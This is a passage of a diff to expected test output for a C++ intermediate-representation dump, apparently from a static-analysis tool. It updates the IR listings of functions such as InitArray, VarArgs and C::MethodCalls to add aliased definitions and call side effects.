ReturnValue : r1_0, mu0_1 +# 560| v1_1(void) = ReturnValue : r1_0, mu0_2 # 560| v1_2(void) = UnmodeledUse : mu* # 560| v1_3(void) = ExitFunction : @@ -2497,492 +2565,530 @@ ir.cpp: # 571| InitArray() -> void # 571| Block 0 # 571| v0_0(void) = EnterFunction : -# 571| mu0_1(unknown) = UnmodeledDefinition : -# 572| r0_2(glval) = VariableAddress[a_pad] : -# 572| r0_3(glval) = StringConstant[""] : -# 572| r0_4(char[1]) = Load : r0_3, mu0_1 -# 572| mu0_5(char[1]) = Store : r0_2, r0_4 -# 572| r0_6(unknown[31]) = Constant[0] : -# 572| r0_7(int) = Constant[1] : -# 572| r0_8(glval) = PointerAdd : r0_2, r0_7 -# 572| mu0_9(unknown[31]) = Store : r0_8, r0_6 -# 573| r0_10(glval) = VariableAddress[a_nopad] : -# 573| r0_11(glval) = StringConstant["foo"] : -# 573| r0_12(char[4]) = Load : r0_11, mu0_1 -# 573| mu0_13(char[4]) = Store : r0_10, r0_12 -# 574| r0_14(glval) = VariableAddress[a_infer] : -# 574| r0_15(glval) = StringConstant["blah"] : -# 574| r0_16(char[5]) = Load : r0_15, mu0_1 -# 574| mu0_17(char[5]) = Store : r0_14, r0_16 -# 575| r0_18(glval) = VariableAddress[b] : -# 575| mu0_19(char[2]) = Uninitialized : r0_18 -# 576| r0_20(glval) = VariableAddress[c] : -# 576| mu0_21(char[2]) = Uninitialized : r0_20 -# 576| r0_22(int) = Constant[0] : -# 576| r0_23(glval) = PointerAdd : r0_20, r0_22 -# 576| r0_24(unknown[2]) = Constant[0] : -# 576| mu0_25(unknown[2]) = Store : r0_23, r0_24 -# 577| r0_26(glval) = VariableAddress[d] : -# 577| mu0_27(char[2]) = Uninitialized : r0_26 -# 577| r0_28(int) = Constant[0] : -# 577| r0_29(glval) = PointerAdd : r0_26, r0_28 -# 577| r0_30(char) = Constant[0] : -# 577| mu0_31(char) = Store : r0_29, r0_30 -# 577| r0_32(int) = Constant[1] : -# 577| r0_33(glval) = PointerAdd : r0_26, r0_32 -# 577| r0_34(char) = Constant[0] : -# 577| mu0_35(char) = Store : r0_33, r0_34 -# 578| r0_36(glval) = VariableAddress[e] : -# 578| mu0_37(char[2]) = Uninitialized : r0_36 -# 578| r0_38(int) = Constant[0] : -# 578| r0_39(glval) = PointerAdd : r0_36, r0_38 -# 578| r0_40(char) = Constant[0] : -# 578| mu0_41(char) = Store : r0_39, r0_40 -# 578| r0_42(int) = Constant[1] : -# 578| r0_43(glval) = PointerAdd : r0_36, r0_42 -# 578| r0_44(char) = Constant[1] : -# 578| mu0_45(char) = Store : r0_43, r0_44 -# 579| r0_46(glval) = VariableAddress[f] : -# 579| mu0_47(char[3]) = Uninitialized : r0_46 -# 579| r0_48(int) = Constant[0] : -# 579| r0_49(glval) = PointerAdd : r0_46, r0_48 -# 579| r0_50(char) = Constant[0] : -# 579| mu0_51(char) = Store : r0_49, r0_50 -# 579| r0_52(int) = Constant[1] : -# 579| r0_53(glval) = PointerAdd : r0_46, r0_52 -# 579| r0_54(unknown[2]) = Constant[0] : -# 579| mu0_55(unknown[2]) = Store : r0_53, r0_54 -# 580| v0_56(void) = NoOp : -# 571| v0_57(void) = ReturnVoid : -# 571| v0_58(void) = UnmodeledUse : mu* -# 571| v0_59(void) = ExitFunction : +# 571| mu0_1(unknown) = AliasedDefinition : +# 571| mu0_2(unknown) = UnmodeledDefinition : +# 572| r0_3(glval) = VariableAddress[a_pad] : +# 572| r0_4(glval) = StringConstant[""] : +# 572| r0_5(char[1]) = Load : r0_4, mu0_2 +# 572| mu0_6(char[1]) = Store : r0_3, r0_5 +# 572| r0_7(unknown[31]) = Constant[0] : +# 572| r0_8(int) = Constant[1] : +# 572| r0_9(glval) = PointerAdd : r0_3, r0_8 +# 572| mu0_10(unknown[31]) = Store : r0_9, r0_7 +# 573| r0_11(glval) = VariableAddress[a_nopad] : +# 573| r0_12(glval) = StringConstant["foo"] : +# 573| r0_13(char[4]) = Load : r0_12, mu0_2 +# 573| mu0_14(char[4]) = Store : r0_11, r0_13 +# 574| r0_15(glval) = VariableAddress[a_infer] : +# 574| r0_16(glval) = StringConstant["blah"] : +# 574| r0_17(char[5]) = Load : r0_16, mu0_2 +# 574| mu0_18(char[5]) = Store : r0_15, r0_17 +# 575| r0_19(glval) = VariableAddress[b] : +# 575| mu0_20(char[2]) = Uninitialized[b] : r0_19 +# 576| r0_21(glval) = VariableAddress[c] : +# 576| mu0_22(char[2]) = Uninitialized[c] : r0_21 +# 576| r0_23(int) = Constant[0] : +# 576| r0_24(glval) = PointerAdd : r0_21, r0_23 +# 576| r0_25(unknown[2]) = Constant[0] : +# 576| mu0_26(unknown[2]) = Store : r0_24, r0_25 +# 577| r0_27(glval) = VariableAddress[d] : +# 577| mu0_28(char[2]) = Uninitialized[d] : r0_27 +# 577| r0_29(int) = Constant[0] : +# 577| r0_30(glval) = PointerAdd : r0_27, r0_29 +# 577| r0_31(char) = Constant[0] : +# 577| mu0_32(char) = Store : r0_30, r0_31 +# 577| r0_33(int) = Constant[1] : +# 577| r0_34(glval) = PointerAdd : r0_27, r0_33 +# 577| r0_35(char) = Constant[0] : +# 577| mu0_36(char) = Store : r0_34, r0_35 +# 578| r0_37(glval) = VariableAddress[e] : +# 578| mu0_38(char[2]) = Uninitialized[e] : r0_37 +# 578| r0_39(int) = Constant[0] : +# 578| r0_40(glval) = PointerAdd : r0_37, r0_39 +# 578| r0_41(char) = Constant[0] : +# 578| mu0_42(char) = Store : r0_40, r0_41 +# 578| r0_43(int) = Constant[1] : +# 578| r0_44(glval) = PointerAdd : r0_37, r0_43 +# 578| r0_45(char) = Constant[1] : +# 578| mu0_46(char) = Store : r0_44, r0_45 +# 579| r0_47(glval) = VariableAddress[f] : +# 579| mu0_48(char[3]) = Uninitialized[f] : r0_47 +# 579| r0_49(int) = Constant[0] : +# 579| r0_50(glval) = PointerAdd : r0_47, r0_49 +# 579| r0_51(char) = Constant[0] : +# 579| mu0_52(char) = Store : r0_50, r0_51 +# 579| r0_53(int) = Constant[1] : +# 579| r0_54(glval) = PointerAdd : r0_47, r0_53 +# 579| r0_55(unknown[2]) = Constant[0] : +# 579| mu0_56(unknown[2]) = Store : r0_54, r0_55 +# 580| v0_57(void) = NoOp : +# 571| v0_58(void) = ReturnVoid : +# 571| v0_59(void) = UnmodeledUse : mu* +# 571| v0_60(void) = ExitFunction : # 584| VarArgs() -> void # 584| Block 0 # 584| v0_0(void) = EnterFunction : -# 584| mu0_1(unknown) = UnmodeledDefinition : -# 585| r0_2(glval) = FunctionAddress[VarArgFunction] : -# 585| r0_3(glval) = StringConstant["%d %s"] : -# 585| r0_4(char *) = Convert : r0_3 -# 585| r0_5(int) = Constant[1] : -# 585| r0_6(glval) = StringConstant["string"] : -# 585| r0_7(char *) = Convert : r0_6 -# 585| v0_8(void) = Call : r0_2, r0_4, r0_5, r0_7 -# 586| v0_9(void) = NoOp : -# 584| v0_10(void) = ReturnVoid : -# 584| v0_11(void) = UnmodeledUse : mu* -# 584| v0_12(void) = ExitFunction : +# 584| mu0_1(unknown) = AliasedDefinition : +# 584| mu0_2(unknown) = UnmodeledDefinition : +# 585| r0_3(glval) = FunctionAddress[VarArgFunction] : +# 585| r0_4(glval) = StringConstant["%d %s"] : +# 585| r0_5(char *) = Convert : r0_4 +# 585| r0_6(int) = Constant[1] : +# 585| r0_7(glval) = StringConstant["string"] : +# 585| r0_8(char *) = Convert : r0_7 +# 585| v0_9(void) = Call : r0_3, r0_5, r0_6, r0_8 +# 585| mu0_10(unknown) = ^CallSideEffect : mu0_2 +# 586| v0_11(void) = NoOp : +# 584| v0_12(void) = ReturnVoid : +# 584| v0_13(void) = UnmodeledUse : mu* +# 584| v0_14(void) = ExitFunction : # 590| SetFuncPtr() -> void # 590| Block 0 # 590| v0_0(void) = EnterFunction : -# 590| mu0_1(unknown) = UnmodeledDefinition : -# 591| r0_2(glval<..(*)(..)>) = VariableAddress[pfn] : -# 591| r0_3(glval<..(*)(..)>) = FunctionAddress[FuncPtrTarget] : -# 591| mu0_4(..(*)(..)) = Store : r0_2, r0_3 -# 592| r0_5(glval<..()(..)>) = FunctionAddress[FuncPtrTarget] : -# 592| r0_6(glval<..(*)(..)>) = VariableAddress[pfn] : -# 592| mu0_7(..(*)(..)) = Store : r0_6, r0_5 -# 593| r0_8(glval<..(*)(..)>) = FunctionAddress[FuncPtrTarget] : -# 593| r0_9(glval<..(*)(..)>) = VariableAddress[pfn] : -# 593| mu0_10(..(*)(..)) = Store : r0_9, r0_8 -# 594| r0_11(glval<..()(..)>) = FunctionAddress[FuncPtrTarget] : -# 594| r0_12(glval<..(*)(..)>) = VariableAddress[pfn] : -# 594| mu0_13(..(*)(..)) = Store : r0_12, r0_11 -# 595| v0_14(void) = NoOp : -# 590| v0_15(void) = ReturnVoid : -# 590| v0_16(void) = UnmodeledUse : mu* -# 590| v0_17(void) = ExitFunction : +# 590| mu0_1(unknown) = AliasedDefinition : +# 590| mu0_2(unknown) = UnmodeledDefinition : +# 591| r0_3(glval<..(*)(..)>) = VariableAddress[pfn] : +# 591| r0_4(glval<..(*)(..)>) = FunctionAddress[FuncPtrTarget] : +# 591| mu0_5(..(*)(..)) = Store : r0_3, r0_4 +# 592| r0_6(glval<..()(..)>) = FunctionAddress[FuncPtrTarget] : +# 592| r0_7(glval<..(*)(..)>) = VariableAddress[pfn] : +# 592| mu0_8(..(*)(..)) = Store : r0_7, r0_6 +# 593| r0_9(glval<..(*)(..)>) = FunctionAddress[FuncPtrTarget] : +# 593| r0_10(glval<..(*)(..)>) = VariableAddress[pfn] : +# 593| mu0_11(..(*)(..)) = Store : r0_10, r0_9 +# 594| r0_12(glval<..()(..)>) = FunctionAddress[FuncPtrTarget] : +# 594| r0_13(glval<..(*)(..)>) = VariableAddress[pfn] : +# 594| mu0_14(..(*)(..)) = Store : r0_13, r0_12 +# 595| v0_15(void) = NoOp : +# 590| v0_16(void) = ReturnVoid : +# 590| v0_17(void) = UnmodeledUse : mu* +# 590| v0_18(void) = ExitFunction : # 615| DeclareObject() -> void # 615| Block 0 # 615| v0_0(void) = EnterFunction : -# 615| mu0_1(unknown) = UnmodeledDefinition : -# 616| r0_2(glval) = VariableAddress[s1] : -# 616| r0_3(glval) = FunctionAddress[String] : -# 616| v0_4(void) = Call : r0_3, this:r0_2 -# 617| r0_5(glval) = VariableAddress[s2] : -# 617| r0_6(glval) = FunctionAddress[String] : -# 617| r0_7(glval) = StringConstant["hello"] : -# 617| r0_8(char *) = Convert : r0_7 -# 617| v0_9(void) = Call : r0_6, this:r0_5, r0_8 -# 618| r0_10(glval) = VariableAddress[s3] : -# 618| r0_11(glval) = FunctionAddress[ReturnObject] : -# 618| r0_12(String) = Call : r0_11 -# 618| mu0_13(String) = Store : r0_10, r0_12 -# 619| r0_14(glval) = VariableAddress[s4] : -# 619| r0_15(glval) = FunctionAddress[String] : -# 619| r0_16(glval) = StringConstant["test"] : -# 619| r0_17(char *) = Convert : r0_16 -# 619| v0_18(void) = Call : r0_15, this:r0_14, r0_17 -# 620| v0_19(void) = NoOp : -# 615| v0_20(void) = ReturnVoid : -# 615| v0_21(void) = UnmodeledUse : mu* -# 615| v0_22(void) = ExitFunction : +# 615| mu0_1(unknown) = AliasedDefinition : +# 615| mu0_2(unknown) = UnmodeledDefinition : +# 616| r0_3(glval) = VariableAddress[s1] : +# 616| r0_4(glval) = FunctionAddress[String] : +# 616| v0_5(void) = Call : r0_4, this:r0_3 +# 616| mu0_6(unknown) = ^CallSideEffect : mu0_2 +# 617| r0_7(glval) = VariableAddress[s2] : +# 617| r0_8(glval) = FunctionAddress[String] : +# 617| r0_9(glval) = StringConstant["hello"] : +# 617| r0_10(char *) = Convert : r0_9 +# 617| v0_11(void) = Call : r0_8, this:r0_7, r0_10 +# 617| mu0_12(unknown) = ^CallSideEffect : mu0_2 +# 618| r0_13(glval) = VariableAddress[s3] : +# 618| r0_14(glval) = FunctionAddress[ReturnObject] : +# 618| r0_15(String) = Call : r0_14 +# 618| mu0_16(unknown) = ^CallSideEffect : mu0_2 +# 618| mu0_17(String) = Store : r0_13, r0_15 +# 619| r0_18(glval) = VariableAddress[s4] : +# 619| r0_19(glval) = FunctionAddress[String] : +# 619| r0_20(glval) = StringConstant["test"] : +# 619| r0_21(char *) = Convert : r0_20 +# 619| v0_22(void) = Call : r0_19, this:r0_18, r0_21 +# 619| mu0_23(unknown) = ^CallSideEffect : mu0_2 +# 620| v0_24(void) = NoOp : +# 615| v0_25(void) = ReturnVoid : +# 615| v0_26(void) = UnmodeledUse : mu* +# 615| v0_27(void) = ExitFunction : # 622| CallMethods(String &, String *, String) -> void # 622| Block 0 # 622| v0_0(void) = EnterFunction : -# 622| mu0_1(unknown) = UnmodeledDefinition : -# 622| r0_2(glval) = VariableAddress[r] : -# 622| mu0_3(String &) = InitializeParameter[r] : r0_2 -# 622| r0_4(glval) = VariableAddress[p] : -# 622| mu0_5(String *) = InitializeParameter[p] : r0_4 -# 622| r0_6(glval) = VariableAddress[s] : -# 622| mu0_7(String) = InitializeParameter[s] : r0_6 -# 623| r0_8(glval) = VariableAddress[r] : -# 623| r0_9(String &) = Load : r0_8, mu0_1 -# 623| r0_10(glval) = Convert : r0_9 -# 623| r0_11(glval) = FunctionAddress[c_str] : -# 623| r0_12(char *) = Call : r0_11, this:r0_10 -# 624| r0_13(glval) = VariableAddress[p] : -# 624| r0_14(String *) = Load : r0_13, mu0_1 -# 624| r0_15(String *) = Convert : r0_14 -# 624| r0_16(glval) = FunctionAddress[c_str] : -# 624| r0_17(char *) = Call : r0_16, this:r0_15 -# 625| r0_18(glval) = VariableAddress[s] : -# 625| r0_19(glval) = Convert : r0_18 -# 625| r0_20(glval) = FunctionAddress[c_str] : -# 625| r0_21(char *) = Call : r0_20, this:r0_19 -# 626| v0_22(void) = NoOp : -# 622| v0_23(void) = ReturnVoid : -# 622| v0_24(void) = UnmodeledUse : mu* -# 622| v0_25(void) = ExitFunction : +# 622| mu0_1(unknown) = AliasedDefinition : +# 622| mu0_2(unknown) = UnmodeledDefinition : +# 622| r0_3(glval) = VariableAddress[r] : +# 622| mu0_4(String &) = InitializeParameter[r] : r0_3 +# 622| r0_5(glval) = VariableAddress[p] : +# 622| mu0_6(String *) = InitializeParameter[p] : r0_5 +# 622| r0_7(glval) = VariableAddress[s] : +# 622| mu0_8(String) = InitializeParameter[s] : r0_7 +# 623| r0_9(glval) = VariableAddress[r] : +# 623| r0_10(String &) = Load : r0_9, mu0_2 +# 623| r0_11(glval) = Convert : r0_10 +# 623| r0_12(glval) = FunctionAddress[c_str] : +# 623| r0_13(char *) = Call : r0_12, this:r0_11 +# 623| mu0_14(unknown) = ^CallSideEffect : mu0_2 +# 624| r0_15(glval) = VariableAddress[p] : +# 624| r0_16(String *) = Load : r0_15, mu0_2 +# 624| r0_17(String *) = Convert : r0_16 +# 624| r0_18(glval) = FunctionAddress[c_str] : +# 624| r0_19(char *) = Call : r0_18, this:r0_17 +# 624| mu0_20(unknown) = ^CallSideEffect : mu0_2 +# 625| r0_21(glval) = VariableAddress[s] : +# 625| r0_22(glval) = Convert : r0_21 +# 625| r0_23(glval) = FunctionAddress[c_str] : +# 625| r0_24(char *) = Call : r0_23, this:r0_22 +# 625| mu0_25(unknown) = ^CallSideEffect : mu0_2 +# 626| v0_26(void) = NoOp : +# 622| v0_27(void) = ReturnVoid : +# 622| v0_28(void) = UnmodeledUse : mu* +# 622| v0_29(void) = ExitFunction : # 630| C::StaticMemberFunction(int) -> int # 630| Block 0 # 630| v0_0(void) = EnterFunction : -# 630| mu0_1(unknown) = UnmodeledDefinition : -# 630| r0_2(glval) = VariableAddress[x] : -# 630| mu0_3(int) = InitializeParameter[x] : r0_2 -# 631| r0_4(glval) = VariableAddress[#return] : -# 631| r0_5(glval) = VariableAddress[x] : -# 631| r0_6(int) = Load : r0_5, mu0_1 -# 631| mu0_7(int) = Store : r0_4, r0_6 -# 630| r0_8(glval) = VariableAddress[#return] : -# 630| v0_9(void) = ReturnValue : r0_8, mu0_1 -# 630| v0_10(void) = UnmodeledUse : mu* -# 630| v0_11(void) = ExitFunction : +# 630| mu0_1(unknown) = AliasedDefinition : +# 630| mu0_2(unknown) = UnmodeledDefinition : +# 630| r0_3(glval) = VariableAddress[x] : +# 630| mu0_4(int) = InitializeParameter[x] : r0_3 +# 631| r0_5(glval) = VariableAddress[#return] : +# 631| r0_6(glval) = VariableAddress[x] : +# 631| r0_7(int) = Load : r0_6, mu0_2 +# 631| mu0_8(int) = Store : r0_5, r0_7 +# 630| r0_9(glval) = VariableAddress[#return] : +# 630| v0_10(void) = ReturnValue : r0_9, mu0_2 +# 630| v0_11(void) = UnmodeledUse : mu* +# 630| v0_12(void) = ExitFunction : # 634| C::InstanceMemberFunction(int) -> int # 634| Block 0 -# 634| v0_0(void) = EnterFunction : -# 634| mu0_1(unknown) = UnmodeledDefinition : -# 634| r0_2(glval) = InitializeThis : -# 634| r0_3(glval) = VariableAddress[x] : -# 634| mu0_4(int) = InitializeParameter[x] : r0_3 -# 635| r0_5(glval) = VariableAddress[#return] : -# 635| r0_6(glval) = VariableAddress[x] : -# 635| r0_7(int) = Load : r0_6, mu0_1 -# 635| mu0_8(int) = Store : r0_5, r0_7 -# 634| r0_9(glval) = VariableAddress[#return] : -# 634| v0_10(void) = ReturnValue : r0_9, mu0_1 -# 634| v0_11(void) = UnmodeledUse : mu* -# 634| v0_12(void) = ExitFunction : +# 634| v0_0(void) = EnterFunction : +# 634| mu0_1(unknown) = AliasedDefinition : +# 634| mu0_2(unknown) = UnmodeledDefinition : +# 634| r0_3(glval) = InitializeThis : +# 634| r0_4(glval) = VariableAddress[x] : +# 634| mu0_5(int) = InitializeParameter[x] : r0_4 +# 635| r0_6(glval) = VariableAddress[#return] : +# 635| r0_7(glval) = VariableAddress[x] : +# 635| r0_8(int) = Load : r0_7, mu0_2 +# 635| mu0_9(int) = Store : r0_6, r0_8 +# 634| r0_10(glval) = VariableAddress[#return] : +# 634| v0_11(void) = ReturnValue : r0_10, mu0_2 +# 634| v0_12(void) = UnmodeledUse : mu* +# 634| v0_13(void) = ExitFunction : # 638| C::VirtualMemberFunction(int) -> int # 638| Block 0 -# 638| v0_0(void) = EnterFunction : -# 638| mu0_1(unknown) = UnmodeledDefinition : -# 638| r0_2(glval) = InitializeThis : -# 638| r0_3(glval) = VariableAddress[x] : -# 638| mu0_4(int) = InitializeParameter[x] : r0_3 -# 639| r0_5(glval) = VariableAddress[#return] : -# 639| r0_6(glval) = VariableAddress[x] : -# 639| r0_7(int) = Load : r0_6, mu0_1 -# 639| mu0_8(int) = Store : r0_5, r0_7 -# 638| r0_9(glval) = VariableAddress[#return] : -# 638| v0_10(void) = ReturnValue : r0_9, mu0_1 -# 638| v0_11(void) = UnmodeledUse : mu* -# 638| v0_12(void) = ExitFunction : +# 638| v0_0(void) = EnterFunction : +# 638| mu0_1(unknown) = AliasedDefinition : +# 638| mu0_2(unknown) = UnmodeledDefinition : +# 638| r0_3(glval) = InitializeThis : +# 638| r0_4(glval) = VariableAddress[x] : +# 638| mu0_5(int) = InitializeParameter[x] : r0_4 +# 639| r0_6(glval) = VariableAddress[#return] : +# 639| r0_7(glval) = VariableAddress[x] : +# 639| r0_8(int) = Load : r0_7, mu0_2 +# 639| mu0_9(int) = Store : r0_6, r0_8 +# 638| r0_10(glval) = VariableAddress[#return] : +# 638| v0_11(void) = ReturnValue : r0_10, mu0_2 +# 638| v0_12(void) = UnmodeledUse : mu* +# 638| v0_13(void) = ExitFunction : # 642| C::FieldAccess() -> void # 642| Block 0 # 642| v0_0(void) = EnterFunction : -# 642| mu0_1(unknown) = UnmodeledDefinition : -# 642| r0_2(glval) = InitializeThis : -# 643| r0_3(int) = Constant[0] : -# 643| r0_4(C *) = CopyValue : r0_2 -# 643| r0_5(glval) = FieldAddress[m_a] : r0_4 -# 643| mu0_6(int) = Store : r0_5, r0_3 -# 644| r0_7(int) = Constant[1] : -# 644| r0_8(C *) = CopyValue : r0_2 -# 644| r0_9(glval) = FieldAddress[m_a] : r0_8 -# 644| mu0_10(int) = Store : r0_9, r0_7 -# 645| r0_11(int) = Constant[2] : -#-----| r0_12(C *) = CopyValue : r0_2 -# 645| r0_13(glval) = FieldAddress[m_a] : r0_12 -# 645| mu0_14(int) = Store : r0_13, r0_11 -# 646| r0_15(glval) = VariableAddress[x] : -# 646| mu0_16(int) = Uninitialized : r0_15 -# 647| r0_17(C *) = CopyValue : r0_2 -# 647| r0_18(glval) = FieldAddress[m_a] : r0_17 -# 647| r0_19(int) = Load : r0_18, mu0_1 -# 647| r0_20(glval) = VariableAddress[x] : -# 647| mu0_21(int) = Store : r0_20, r0_19 -# 648| r0_22(C *) = CopyValue : r0_2 -# 648| r0_23(glval) = FieldAddress[m_a] : r0_22 -# 648| r0_24(int) = Load : r0_23, mu0_1 -# 648| r0_25(glval) = VariableAddress[x] : -# 648| mu0_26(int) = Store : r0_25, r0_24 -#-----| r0_27(C *) = CopyValue : r0_2 -# 649| r0_28(glval) = FieldAddress[m_a] : r0_27 -# 649| r0_29(int) = Load : r0_28, mu0_1 -# 649| r0_30(glval) = VariableAddress[x] : -# 649| mu0_31(int) = Store : r0_30, r0_29 -# 650| v0_32(void) = NoOp : -# 642| v0_33(void) = ReturnVoid : -# 642| v0_34(void) = UnmodeledUse : mu* -# 642| v0_35(void) = ExitFunction : +# 642| mu0_1(unknown) = AliasedDefinition : +# 642| mu0_2(unknown) = UnmodeledDefinition : +# 642| r0_3(glval) = InitializeThis : +# 643| r0_4(int) = Constant[0] : +# 643| r0_5(C *) = CopyValue : r0_3 +# 643| r0_6(glval) = FieldAddress[m_a] : r0_5 +# 643| mu0_7(int) = Store : r0_6, r0_4 +# 644| r0_8(int) = Constant[1] : +# 644| r0_9(C *) = CopyValue : r0_3 +# 644| r0_10(glval) = FieldAddress[m_a] : r0_9 +# 644| mu0_11(int) = Store : r0_10, r0_8 +# 645| r0_12(int) = Constant[2] : +#-----| r0_13(C *) = CopyValue : r0_3 +# 645| r0_14(glval) = FieldAddress[m_a] : r0_13 +# 645| mu0_15(int) = Store : r0_14, r0_12 +# 646| r0_16(glval) = VariableAddress[x] : +# 646| mu0_17(int) = Uninitialized[x] : r0_16 +# 647| r0_18(C *) = CopyValue : r0_3 +# 647| r0_19(glval) = FieldAddress[m_a] : r0_18 +# 647| r0_20(int) = Load : r0_19, mu0_2 +# 647| r0_21(glval) = VariableAddress[x] : +# 647| mu0_22(int) = Store : r0_21, r0_20 +# 648| r0_23(C *) = CopyValue : r0_3 +# 648| r0_24(glval) = FieldAddress[m_a] : r0_23 +# 648| r0_25(int) = Load : r0_24, mu0_2 +# 648| r0_26(glval) = VariableAddress[x] : +# 648| mu0_27(int) = Store : r0_26, r0_25 +#-----| r0_28(C *) = CopyValue : r0_3 +# 649| r0_29(glval) = FieldAddress[m_a] : r0_28 +# 649| r0_30(int) = Load : r0_29, mu0_2 +# 649| r0_31(glval) = VariableAddress[x] : +# 649| mu0_32(int) = Store : r0_31, r0_30 +# 650| v0_33(void) = NoOp : +# 642| v0_34(void) = ReturnVoid : +# 642| v0_35(void) = UnmodeledUse : mu* +# 642| v0_36(void) = ExitFunction : # 652| C::MethodCalls() -> void # 652| Block 0 # 652| v0_0(void) = EnterFunction : -# 652| mu0_1(unknown) = UnmodeledDefinition : -# 652| r0_2(glval) = InitializeThis : -# 653| r0_3(C *) = CopyValue : r0_2 -# 653| r0_4(glval) = FunctionAddress[InstanceMemberFunction] : -# 653| r0_5(int) = Constant[0] : -# 653| r0_6(int) = Call : r0_4, this:r0_3, r0_5 -# 654| r0_7(C *) = CopyValue : r0_2 -# 654| r0_8(glval) = FunctionAddress[InstanceMemberFunction] : -# 654| r0_9(int) = Constant[1] : -# 654| r0_10(int) = Call : r0_8, this:r0_7, r0_9 -#-----| r0_11(C *) = CopyValue : r0_2 -# 655| r0_12(glval) = FunctionAddress[InstanceMemberFunction] : -# 655| r0_13(int) = Constant[2] : -# 655| r0_14(int) = Call : r0_12, this:r0_11, r0_13 -# 656| v0_15(void) = NoOp : -# 652| v0_16(void) = ReturnVoid : -# 652| v0_17(void) = UnmodeledUse : mu* -# 652| v0_18(void) = ExitFunction : +# 652| mu0_1(unknown) = AliasedDefinition : +# 652| mu0_2(unknown) = UnmodeledDefinition : +# 652| r0_3(glval) = InitializeThis : +# 653| r0_4(C *) = CopyValue : r0_3 +# 653| r0_5(glval) = FunctionAddress[InstanceMemberFunction] : +# 653| r0_6(int) = Constant[0] : +# 653| r0_7(int) = Call : r0_5, this:r0_4, r0_6 +# 653| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 654| r0_9(C *) = CopyValue : r0_3 +# 654| r0_10(glval) = FunctionAddress[InstanceMemberFunction] : +# 654| r0_11(int) = Constant[1] : +# 654| r0_12(int) = Call : r0_10, this:r0_9, r0_11 +# 654| mu0_13(unknown) = ^CallSideEffect : mu0_2 +#-----| r0_14(C *) = CopyValue : r0_3 +# 655| r0_15(glval) = FunctionAddress[InstanceMemberFunction] : +# 655| r0_16(int) = Constant[2] : +# 655| r0_17(int) = Call : r0_15, this:r0_14, r0_16 +# 655| mu0_18(unknown) = ^CallSideEffect : mu0_2 +# 656| v0_19(void) = NoOp : +# 652| v0_20(void) = ReturnVoid : +# 652| v0_21(void) = UnmodeledUse : mu* +# 652| v0_22(void) = ExitFunction : # 658| C::C() -> void # 658| Block 0 # 658| v0_0(void) = EnterFunction : -# 658| mu0_1(unknown) = UnmodeledDefinition : -# 658| r0_2(glval) = InitializeThis : -# 659| r0_3(glval) = FieldAddress[m_a] : r0_2 -# 659| r0_4(int) = Constant[1] : -# 659| mu0_5(int) = Store : r0_3, r0_4 -# 663| r0_6(glval) = FieldAddress[m_b] : r0_2 -# 663| r0_7(glval) = FunctionAddress[String] : -# 663| v0_8(void) = Call : r0_7, this:r0_6 -# 660| r0_9(glval) = FieldAddress[m_c] : r0_2 -# 660| r0_10(char) = Constant[3] : -# 660| mu0_11(char) = Store : r0_9, r0_10 -# 661| r0_12(glval) = FieldAddress[m_e] : r0_2 -# 661| r0_13(void *) = Constant[0] : -# 661| mu0_14(void *) = Store : r0_12, r0_13 -# 662| r0_15(glval) = FieldAddress[m_f] : r0_2 -# 662| r0_16(glval) = FunctionAddress[String] : -# 662| r0_17(glval) = StringConstant["test"] : -# 662| r0_18(char *) = Convert : r0_17 -# 662| v0_19(void) = Call : r0_16, this:r0_15, r0_18 -# 664| v0_20(void) = NoOp : -# 658| v0_21(void) = ReturnVoid : -# 658| v0_22(void) = UnmodeledUse : mu* -# 658| v0_23(void) = ExitFunction : +# 658| mu0_1(unknown) = AliasedDefinition : +# 658| mu0_2(unknown) = UnmodeledDefinition : +# 658| r0_3(glval) = InitializeThis : +# 659| r0_4(glval) = FieldAddress[m_a] : r0_3 +# 659| r0_5(int) = Constant[1] : +# 659| mu0_6(int) = Store : r0_4, r0_5 +# 663| r0_7(glval) = FieldAddress[m_b] : r0_3 +# 663| r0_8(glval) = FunctionAddress[String] : +# 663| v0_9(void) = Call : r0_8, this:r0_7 +# 663| mu0_10(unknown) = ^CallSideEffect : mu0_2 +# 660| r0_11(glval) = FieldAddress[m_c] : r0_3 +# 660| r0_12(char) = Constant[3] : +# 660| mu0_13(char) = Store : r0_11, r0_12 +# 661| r0_14(glval) = FieldAddress[m_e] : r0_3 +# 661| r0_15(void *) = Constant[0] : +# 661| mu0_16(void *) = Store : r0_14, r0_15 +# 662| r0_17(glval) = FieldAddress[m_f] : r0_3 +# 662| r0_18(glval) = FunctionAddress[String] : +# 662| r0_19(glval) = StringConstant["test"] : +# 662| r0_20(char *) = Convert : r0_19 +# 662| v0_21(void) = Call : r0_18, this:r0_17, r0_20 +# 662| mu0_22(unknown) = ^CallSideEffect : mu0_2 +# 664| v0_23(void) = NoOp : +# 658| v0_24(void) = ReturnVoid : +# 658| v0_25(void) = UnmodeledUse : mu* +# 658| v0_26(void) = ExitFunction : # 675| DerefReference(int &) -> int # 675| Block 0 # 675| v0_0(void) = EnterFunction : -# 675| mu0_1(unknown) = UnmodeledDefinition : -# 675| r0_2(glval) = VariableAddress[r] : -# 675| mu0_3(int &) = InitializeParameter[r] : r0_2 -# 676| r0_4(glval) = VariableAddress[#return] : -# 676| r0_5(glval) = VariableAddress[r] : -# 676| r0_6(int &) = Load : r0_5, mu0_1 -# 676| r0_7(int) = Load : r0_6, mu0_1 -# 676| mu0_8(int) = Store : r0_4, r0_7 -# 675| r0_9(glval) = VariableAddress[#return] : -# 675| v0_10(void) = ReturnValue : r0_9, mu0_1 -# 675| v0_11(void) = UnmodeledUse : mu* -# 675| v0_12(void) = ExitFunction : +# 675| mu0_1(unknown) = AliasedDefinition : +# 675| mu0_2(unknown) = UnmodeledDefinition : +# 675| r0_3(glval) = VariableAddress[r] : +# 675| mu0_4(int &) = InitializeParameter[r] : r0_3 +# 676| r0_5(glval) = VariableAddress[#return] : +# 676| r0_6(glval) = VariableAddress[r] : +# 676| r0_7(int &) = Load : r0_6, mu0_2 +# 676| r0_8(int) = Load : r0_7, mu0_2 +# 676| mu0_9(int) = Store : r0_5, r0_8 +# 675| r0_10(glval) = VariableAddress[#return] : +# 675| v0_11(void) = ReturnValue : r0_10, mu0_2 +# 675| v0_12(void) = UnmodeledUse : mu* +# 675| v0_13(void) = ExitFunction : # 679| TakeReference() -> int & # 679| Block 0 # 679| v0_0(void) = EnterFunction : -# 679| mu0_1(unknown) = UnmodeledDefinition : -# 680| r0_2(glval) = VariableAddress[#return] : -# 680| r0_3(glval) = VariableAddress[g] : -# 680| mu0_4(int 